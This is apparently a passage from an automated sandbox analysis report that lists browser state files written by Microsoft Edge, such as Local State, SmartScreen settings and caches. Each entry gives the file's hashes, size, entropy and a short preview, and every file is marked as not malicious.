Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4825b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4de75.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090739259538786
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM8wuF9hDO6vP6O+ytbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEu6Dtbz8hu3VlXr4CRo1
MD5:	7547C99E8C610A49E7EBB9A6E37D49DA
SHA1:	FD17DB39E973D741EA75E849CE050BBA16CD829D
SHA-256:	2FA6F879BADFE6FA7687724D7779CA98D0A37A0EB398A8798E305E85AA4596FA
SHA-512:	0C6FBA52898B420D7AD94BCC684326D69190244C49AFE54B5E82A756A873D307C4253475C69B421D30D393E4732443C3F7750CB3426DA724823AC7E343554374
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.017511468141832
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXISdTmThV:YWLSGTt1o9LuLgfGBPAzkVj/T8l4uKTX
MD5:	3D01BEDE3682D8911E778CA8F1E06EA9
SHA1:	D10445AAAA0715DCB236CCF45FDB4F10BD6E6561
SHA-256:	4B9B5C7FF068DBE219220B5D7445A1FB29C4657D96CF657AF6FDE243BD26A27A
SHA-512:	66F004E0B77AD594401CED109B381578E8C78C48FFCBE100D2232AE320AD2B36C5C9BAB092847C940E39696C49E353583CEFBEC7DD60C335CEF3B291D087A45E
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732587867065668}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b095c2ab-0bb2-454c-8624-5b8c61df0c0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44604
Entropy (8bit):	6.096114629579989
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBdwu1hDO6vP6Od+n8W+Y4k4cGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynE26dchu3VlXr4CRo1
MD5:	BD985516FE65331AC44B28A8BDC189D4
SHA1:	5E0DF8D23DA83CF901CE0D9933C08C4B969FC607
SHA-256:	0E175564EF1B1BFAD1E9D5186334EC04D649482087B69A64EE75BD33683A6D5F
SHA-512:	844D447C02D77D5E53891D15256756848832ACEA3EECC0ECCFA02F1CE1E8DB594206BB42D132393B2ACDB44785C3135F787D6D8778ADE7208ADD933455833EF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bbb8e127-94c8-4dc3-b989-45e8197acc19.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44702
Entropy (8bit):	6.095967852165479
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBVwu1hDO6vP6OdmdirpOcGoup1Xl3jVzXr4CCAo1:z/Ps+wsI7yOEO6wchu3VlXr4CRo1
MD5:	8509E652FD1DC442DCF5061FC0884AA6
SHA1:	91D58C5F07C848109008C8A2ADB7DE4A8EE8A681
SHA-256:	3CCC332F6BFCF884BFED87D79A398D80EAEB866C03E9B478B60A1655286D803A
SHA-512:	3B07BA2EB8104D18D141041065461B51CCC3295E97C3452671FDB489559C754106105B0104687F675B656F70A02D062184341A421B6964ADFD6E9FF843E402D3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fc4a2a2c-5366-4694-854e-a06a77ebabdd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44604
Entropy (8bit):	6.096114629579989
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBdwu1hDO6vP6Od+n8W+Y4k4cGoup1Xl3jVzXr4CCz:z/Ps+wsI7ynE26dchu3VlXr4CRo1
MD5:	BD985516FE65331AC44B28A8BDC189D4
SHA1:	5E0DF8D23DA83CF901CE0D9933C08C4B969FC607
SHA-256:	0E175564EF1B1BFAD1E9D5186334EC04D649482087B69A64EE75BD33683A6D5F
SHA-512:	844D447C02D77D5E53891D15256756848832ACEA3EECC0ECCFA02F1CE1E8DB594206BB42D132393B2ACDB44785C3135F787D6D8778ADE7208ADD933455833EF6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5M